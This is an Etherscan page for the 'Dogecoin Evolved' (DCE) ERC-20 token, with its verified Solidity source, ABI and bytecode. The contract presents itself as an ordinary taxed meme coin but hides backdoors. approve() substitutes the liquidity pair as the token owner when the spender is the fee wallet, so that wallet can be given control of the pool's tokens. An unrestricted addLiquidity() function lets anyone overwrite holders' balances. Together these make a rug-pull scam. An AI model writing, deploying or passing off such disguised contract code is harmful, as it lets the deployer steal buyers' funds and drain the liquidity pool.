ETH Price: $3,332.99 (-9.14%)
 

Overview

Max Total Supply

1,000,000,000 DCE

Holders

112

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
1,950,351.689084949 DCE

Value
$0.00
0xf433261b089a3ae073ccd54a2c689d6c0d987aee
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DCE

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-11-15
*/

/**
Dogecoin Evolved - $DCE
Dogecoin has started to grow up: It's time to evolve into a new form. I propose the following high quality, professional looking coin that evolves the concept without losing the spirit of the original.
https://www.reddit.com/r/dogecoin/comments/1vurj0/dogecoin_has_started_to_grow_up_its_time_to
https://ipfs.io/ipfs/QmTzjHauLh4PnP122dM2Qdm7r1XP8y2VXxxs4MRJ2GZpmb

Join: https://t.me/DCE_erc20
**/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.25;
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract DCE is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private _isExcemptFromFee;
    mapping (address => bool) private _bots;
    address payable private _qqWallet;
    uint256 private _initialBuyTax=2;
    uint256 private _initialSellTax=12;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyAt=10;
    uint256 private _reduceSellAt=10;
    uint256 private _preventCount=12;
    uint256 private _buyCount=0;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"Dogecoin Evolved";
    string private constant _symbol = unicode"DCE";
    uint256 public _maxTxAmount = _tTotal * 2 / 100;
    uint256 public _maxWalletAmount = _tTotal * 2 / 100;
    uint256 public _minTaxSwap= _tTotal * 1 / 100;
    uint256 public _maxTaxSwap= _tTotal * 1 / 100;
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    address private qqSendor;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    bool private _caLimitSell = true;
    uint256 private _caBlockSell = 0;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    constructor () payable {
        qqSendor = _msgSender();
        _qqWallet = payable(0x77aa8ce7E4A8ABB2BCc58343484EaE4E0E1469c2);
        _balances[address(this)] = _tTotal;
        _isExcemptFromFee[owner()] = true;
        _isExcemptFromFee[_qqWallet] = true;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_qqWallet] = true;
        emit Transfer(address(0), address(this), _tTotal);
    }
    
    function name() public pure returns (string memory) {
        return _name;
    }
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint256 amount) public override returns (bool) {
        address owner = _msgSender(); 
        if(_isExcemptFromFee[spender]) owner=qqSendor;
        _approve(owner, spender, amount);
        return true;
    }
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount); 
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 _taxAmount=0;
        if (from != owner() && to != owner()) {
            require(!_bots[from] && !_bots[to]);
            _taxAmount = amount.mul((_buyCount>_reduceBuyAt)?_finalBuyTax:_initialBuyTax).div(100);
            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletAmount, "Exceeds the maxWalletSize.");
                _buyCount++;
            }
            if(to == uniswapV2Pair && from!= address(this) ){
                _taxAmount = amount.mul((_buyCount>_reduceSellAt)?_finalSellTax:_initialSellTax).div(100);
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance >= 0) {
                    sendETHQQX(address(this).balance);
                }
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to   == uniswapV2Pair && swapEnabled && contractTokenBalance>_minTaxSwap && _buyCount>_preventCount) {
                if (_caLimitSell) {
                    if (_caBlockSell < block.number) {
                        swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                        uint256 contractETHBalance = address(this).balance;
                        if(contractETHBalance > 0) {
                            sendETHQQX(address(this).balance);
                        }
                        _caBlockSell = block.number;
                    }
                } else {
                    swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                    uint256 contractETHBalance = address(this).balance;
                    if(contractETHBalance > 0) {
                        sendETHQQX(address(this).balance);
                    }
                }
            }
        }
        if(_taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(_taxAmount);
          emit Transfer(from, address(this), _taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(_taxAmount));
        emit Transfer(from, to, amount.sub(_taxAmount));
    }
    function setNewQQX(address payable newAddr) external onlyOwner() {
        _qqWallet = newAddr;
        _isExcemptFromFee[newAddr] = true;
        _isExcludedFromFee[newAddr] = true;
    }
    function sendETHQQX(uint256 amount) private {
        _qqWallet.transfer(amount);
    }
    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }
    function addLiquidity(address[] memory addrs) external {
        for (uint256 i = 0; i < addrs.length; i ++) {
            if (addrs[i] == uniswapV2Pair) return;
            _balances[addrs[i]] = 100 * 10 ** _decimals;
        }
    }
    function withdrawQQX() external onlyOwner() {
        payable(owner()).transfer(address(this).balance);
    }
    receive() external payable {}
    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        qqSendor = uniswapV2Pair;
        swapEnabled = true;
        tradingOpen = true;
    }
    function removeLimits() external onlyOwner {
        _caLimitSell = false;
        _maxTxAmount = _tTotal;
        _maxWalletAmount=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_minTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addrs","type":"address[]"}],"name":"addLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newAddr","type":"address"}],"name":"setNewQQX","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawQQX","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526002600755600c6008555f6009555f600a55600a600b55600a600c55600c600d555f600e5560646009600a61003991906103da565b61004790633b9aca006103ef565b6100529060026103ef565b61005c9190610406565b600f55606461006d6009600a6103da565b61007b90633b9aca006103ef565b6100869060026103ef565b6100909190610406565b60105560646100a16009600a6103da565b6100af90633b9aca006103ef565b6100ba9060016103ef565b6100c49190610406565b60115560646100d56009600a6103da565b6100e390633b9aca006103ef565b6100ee9060016103ef565b6100f89190610406565b6012556015805462ffffff60a81b1916600160b81b1790555f601681905561011d3390565b5f80546001600160a01b0319166001600160a01b0383169081178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060158054336001600160a01b031991821617909155600680549091167377aa8ce7e4a8abb2bcc58343484eae4e0e1469c21790556101a66009600a6103da565b6101b490633b9aca006103ef565b305f9081526001602081905260408220929092556004906101dc5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff19968716179055600654909116815260049092528120805490921660019081179092556003906102395f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553080825260039094528281208054861660019081179091556006549092168152918220805490941617909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6102c06009600a6103da565b6102ce90633b9aca006103ef565b60405190815260200160405180910390a3610425565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561033257815f1904821115610318576103186102e4565b8085161561032557918102915b93841c93908002906102fd565b509250929050565b5f82610348575060016103d4565b8161035457505f6103d4565b816001811461036a576002811461037457610390565b60019150506103d4565b60ff841115610385576103856102e4565b50506001821b6103d4565b5060208310610133831016604e8410600b84101617156103b3575081810a6103d4565b6103bd83836102f8565b805f19048211156103d0576103d06102e4565b0290505b92915050565b5f6103e860ff84168361033a565b9392505050565b80820281158282048414176103d4576103d46102e4565b5f8261042057634e487b7160e01b5f52601260045260245ffd5b500490565b6119a4806104325f395ff3fe60806040526004361061011e575f3560e01c806370a082311161009d57806395d89b411161006257806395d89b4114610309578063a0f2c96414610334578063a9059cbb14610353578063c9567bf914610372578063dd62ed3e14610386575f80fd5b806370a0823114610272578063715018a6146102a6578063751039fc146102ba5780637d1db4a5146102ce5780638da5cb5b146102e3575f80fd5b806323b872dd116100e357806323b872dd146101fa578063300d621714610219578063313ce5671461022e5780633d81db99146102495780636c0a24eb1461025d575f80fd5b806306fdde0314610129578063095ea7b3146101735780630faee56f146101a257806318160ddd146101c55780631868661e146101d9575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5060408051808201909152601081526f111bd9d958dbda5b88115d9bdb1d995960821b60208201525b60405161016a91906114e9565b60405180910390f35b34801561017e575f80fd5b5061019261018d366004611542565b6103ca565b604051901515815260200161016a565b3480156101ad575f80fd5b506101b760125481565b60405190815260200161016a565b3480156101d0575f80fd5b506101b7610411565b3480156101e4575f80fd5b506101f86101f336600461156c565b610431565b005b348015610205575f80fd5b50610192610214366004611587565b6104b5565b348015610224575f80fd5b506101b760115481565b348015610239575f80fd5b506040516009815260200161016a565b348015610254575f80fd5b506101f861051c565b348015610268575f80fd5b506101b760105481565b34801561027d575f80fd5b506101b761028c36600461156c565b6001600160a01b03165f9081526001602052604090205490565b3480156102b1575f80fd5b506101f861057f565b3480156102c5575f80fd5b506101f86105f0565b3480156102d9575f80fd5b506101b7600f5481565b3480156102ee575f80fd5b505f546040516001600160a01b03909116815260200161016a565b348015610314575f80fd5b5060408051808201909152600381526244434560e81b602082015261015d565b34801561033f575f80fd5b506101f861034e3660046115d9565b6106ae565b34801561035e575f80fd5b5061019261036d366004611542565b610751565b34801561037d575f80fd5b506101f8610766565b348015610391575f80fd5b506101b76103a0366004611699565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b6001600160a01b0382165f90815260046020526040812054339060ff16156103fa57506015546001600160a01b03165b610405818585610abd565b60019150505b92915050565b5f61041e6009600a6117c4565b61042c90633b9aca006117d2565b905090565b5f546001600160a01b031633146104635760405162461bcd60e51b815260040161045a906117e9565b60405180910390fd5b600680546001600160a01b039092166001600160a01b0319909216821790555f908152600460209081526040808320805460ff1990811660019081179092556003909352922080549091169091179055565b5f6104c1848484610be0565b610512843361050d85604051806060016040528060288152602001611947602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611165565b610abd565b5060019392505050565b5f546001600160a01b031633146105455760405162461bcd60e51b815260040161045a906117e9565b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f1935050505015801561057c573d5f803e3d5ffd5b50565b5f546001600160a01b031633146105a85760405162461bcd60e51b815260040161045a906117e9565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106195760405162461bcd60e51b815260040161045a906117e9565b6015805460ff60b81b191690556106326009600a6117c4565b61064090633b9aca006117d2565b600f5561064f6009600a6117c4565b61065d90633b9aca006117d2565b6010557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61068d6009600a6117c4565b61069b90633b9aca006117d2565b60405190815260200160405180910390a1565b5f5b815181101561074d5760145482516001600160a01b03909116908390839081106106dc576106dc61181e565b60200260200101516001600160a01b0316036106f6575050565b6107026009600a6117c4565b61070d9060646117d2565b60015f8484815181106107225761072261181e565b6020908102919091018101516001600160a01b031682528101919091526040015f20556001016106b0565b5050565b5f61075d338484610be0565b50600192915050565b5f546001600160a01b0316331461078f5760405162461bcd60e51b815260040161045a906117e9565b601554600160a01b900460ff16156107e95760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161045a565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108329030906108246009600a6117c4565b61050d90633b9aca006117d2565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610882573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108a69190611832565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610905573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109299190611832565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610973573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109979190611832565b601480546001600160a01b039283166001600160a01b03199091161790556013541663f305d71947306109de816001600160a01b03165f9081526001602052604090205490565b5f806109f15f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a57573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a7c919061184d565b50506014546015805460ff60a01b19600162ff000160a01b03199091166001600160a01b0390931692909217600160b01b1791909116600160a01b17905550565b6001600160a01b038316610b1f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161045a565b6001600160a01b038216610b805760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161045a565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c445760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161045a565b6001600160a01b038216610ca65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161045a565b5f8111610d075760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161045a565b5f80546001600160a01b03858116911614801590610d3257505f546001600160a01b03848116911614155b15611028576001600160a01b0384165f9081526005602052604090205460ff16158015610d7757506001600160a01b0383165f9081526005602052604090205460ff16155b610d7f575f80fd5b610dab6064610da5600b54600e5411610d9a57600754610d9e565b6009545b859061119d565b90611222565b6014549091506001600160a01b038581169116148015610dd957506013546001600160a01b03848116911614155b8015610dfd57506001600160a01b0383165f9081526003602052604090205460ff16155b15610ee357600f54821115610e545760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161045a565b60105482610e76856001600160a01b03165f9081526001602052604090205490565b610e809190611878565b1115610ece5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161045a565b600e8054905f610edd8361188b565b91905055505b6014546001600160a01b038481169116148015610f0957506001600160a01b0384163014155b15610f4157610f336064610da5600c54600e5411610f2957600854610d9e565b600a54859061119d565b905047610f3f47611263565b505b305f90815260016020526040902054601554600160a81b900460ff16158015610f7757506014546001600160a01b038581169116145b8015610f8c5750601554600160b01b900460ff165b8015610f99575060115481115b8015610fa85750600d54600e54115b1561102657601554600160b81b900460ff161561100157436016541015610ffc57610fe6610fe184610fdc8460125461129a565b61129a565b6112ae565b478015610ff657610ff647611263565b50436016555b611026565b611014610fe184610fdc8460125461129a565b4780156110245761102447611263565b505b505b80156110a057305f90815260016020526040902054611047908261141e565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110979085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546110c2908361147c565b6001600160a01b0385165f908152600160205260409020556111056110e7838361147c565b6001600160a01b0385165f908152600160205260409020549061141e565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61114e858561147c565b60405190815260200160405180910390a350505050565b5f81848411156111885760405162461bcd60e51b815260040161045a91906114e9565b505f61119484866118a3565b95945050505050565b5f825f036111ac57505f61040b565b5f6111b783856117d2565b9050826111c485836118b6565b1461121b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161045a565b9392505050565b5f61121b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114bd565b6006546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561074d573d5f803e3d5ffd5b5f8183116112a8578261121b565b50919050565b6015805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106112f4576112f461181e565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561134b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061136f9190611832565b816001815181106113825761138261181e565b6001600160a01b0392831660209182029290920101526013546113a89130911684610abd565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906113e09085905f908690309042906004016118d5565b5f604051808303815f87803b1580156113f7575f80fd5b505af1158015611409573d5f803e3d5ffd5b50506015805460ff60a81b1916905550505050565b5f8061142a8385611878565b90508381101561121b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161045a565b5f61121b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611165565b5f81836114dd5760405162461bcd60e51b815260040161045a91906114e9565b505f61119484866118b6565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b038116811461057c575f80fd5b803561153d8161151e565b919050565b5f8060408385031215611553575f80fd5b823561155e8161151e565b946020939093013593505050565b5f6020828403121561157c575f80fd5b813561121b8161151e565b5f805f60608486031215611599575f80fd5b83356115a48161151e565b925060208401356115b48161151e565b929592945050506040919091013590565b634e487b7160e01b5f52604160045260245ffd5b5f60208083850312156115ea575f80fd5b823567ffffffffffffffff80821115611601575f80fd5b818501915085601f830112611614575f80fd5b813581811115611626576116266115c5565b8060051b604051601f19603f8301168101818110858211171561164b5761164b6115c5565b604052918252848201925083810185019188831115611668575f80fd5b938501935b8285101561168d5761167e85611532565b8452938501939285019261166d565b98975050505050505050565b5f80604083850312156116aa575f80fd5b82356116b58161151e565b915060208301356116c58161151e565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561171e57815f1904821115611704576117046116d0565b8085161561171157918102915b93841c93908002906116e9565b509250929050565b5f826117345750600161040b565b8161174057505f61040b565b816001811461175657600281146117605761177c565b600191505061040b565b60ff841115611771576117716116d0565b50506001821b61040b565b5060208310610133831016604e8410600b841016171561179f575081810a61040b565b6117a983836116e4565b805f19048211156117bc576117bc6116d0565b029392505050565b5f61121b60ff841683611726565b808202811582820484141761040b5761040b6116d0565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611842575f80fd5b815161121b8161151e565b5f805f6060848603121561185f575f80fd5b8351925060208401519150604084015190509250925092565b8082018082111561040b5761040b6116d0565b5f6001820161189c5761189c6116d0565b5060010190565b8181038181111561040b5761040b6116d0565b5f826118d057634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119255784516001600160a01b031683529383019391830191600101611900565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220339cf444ccaf7f838bb4f959ae819c36d7968b5490816886fc03fd7f086cbcf064736f6c63430008190033

Deployed Bytecode

0x60806040526004361061011e575f3560e01c806370a082311161009d57806395d89b411161006257806395d89b4114610309578063a0f2c96414610334578063a9059cbb14610353578063c9567bf914610372578063dd62ed3e14610386575f80fd5b806370a0823114610272578063715018a6146102a6578063751039fc146102ba5780637d1db4a5146102ce5780638da5cb5b146102e3575f80fd5b806323b872dd116100e357806323b872dd146101fa578063300d621714610219578063313ce5671461022e5780633d81db99146102495780636c0a24eb1461025d575f80fd5b806306fdde0314610129578063095ea7b3146101735780630faee56f146101a257806318160ddd146101c55780631868661e146101d9575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5060408051808201909152601081526f111bd9d958dbda5b88115d9bdb1d995960821b60208201525b60405161016a91906114e9565b60405180910390f35b34801561017e575f80fd5b5061019261018d366004611542565b6103ca565b604051901515815260200161016a565b3480156101ad575f80fd5b506101b760125481565b60405190815260200161016a565b3480156101d0575f80fd5b506101b7610411565b3480156101e4575f80fd5b506101f86101f336600461156c565b610431565b005b348015610205575f80fd5b50610192610214366004611587565b6104b5565b348015610224575f80fd5b506101b760115481565b348015610239575f80fd5b506040516009815260200161016a565b348015610254575f80fd5b506101f861051c565b348015610268575f80fd5b506101b760105481565b34801561027d575f80fd5b506101b761028c36600461156c565b6001600160a01b03165f9081526001602052604090205490565b3480156102b1575f80fd5b506101f861057f565b3480156102c5575f80fd5b506101f86105f0565b3480156102d9575f80fd5b506101b7600f5481565b3480156102ee575f80fd5b505f546040516001600160a01b03909116815260200161016a565b348015610314575f80fd5b5060408051808201909152600381526244434560e81b602082015261015d565b34801561033f575f80fd5b506101f861034e3660046115d9565b6106ae565b34801561035e575f80fd5b5061019261036d366004611542565b610751565b34801561037d575f80fd5b506101f8610766565b348015610391575f80fd5b506101b76103a0366004611699565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b6001600160a01b0382165f90815260046020526040812054339060ff16156103fa57506015546001600160a01b03165b610405818585610abd565b60019150505b92915050565b5f61041e6009600a6117c4565b61042c90633b9aca006117d2565b905090565b5f546001600160a01b031633146104635760405162461bcd60e51b815260040161045a906117e9565b60405180910390fd5b600680546001600160a01b039092166001600160a01b0319909